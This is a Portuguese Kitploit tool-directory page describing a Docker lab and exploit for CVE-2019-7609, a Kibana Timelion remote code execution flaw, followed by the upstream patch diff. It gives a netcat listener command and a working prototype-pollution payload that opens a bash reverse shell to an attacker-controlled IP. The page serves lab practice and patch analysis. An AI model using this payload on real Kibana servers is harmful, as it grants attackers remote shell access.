Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-7609 — Ambiente de laboratório baseado em Docker e exploit para CVE-2019-7609 (Kibana Timelion RCE) com payload de reverse shell e análise de patch. | Kitploit
Ferramentas/GitHubGitHub/hekadan/cve-2019-7609
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso RemotoLabs e Prática
GitHubhekadan/cve-2019-7609

CVE-2019-7609

Ambiente de laboratório baseado em Docker e exploit para CVE-2019-7609 (Kibana Timelion RCE) com payload de reverse shell e análise de patch.

Ver Repositório
203há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-7609 (Kibana)

Vulnerabilidade de execução remota de código devido a uma falha no visualizador Timelion do Kibana

Configuração do ambiente (docker)

  1. Execute o docker-compose.yml anexo.
root@kitploit:~
docker-comopse up -d
  1. Acesse http://127.0.0.1:5601 no navegador.

Exploit

  1. Prepare um reverse shell.
root@kitploit:~
$ nc -lvp 6666
  1. Na tela Timelion do Kibana, insira o payload e clique em executar.
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<IP_DO_SERVIDOR_ATACANTE>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

  1. Clique em Canvas no painel esquerdo.
  2. A conexão reverse shell é estabelecida a partir do servidor Kibana :)

payload reverse-shell

Patch

Atualize o Kibana para versão 6.6.1 ou superior, ou 5.6.15 ou superior.

Código-fonte corrigido

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
Baixar ferramenta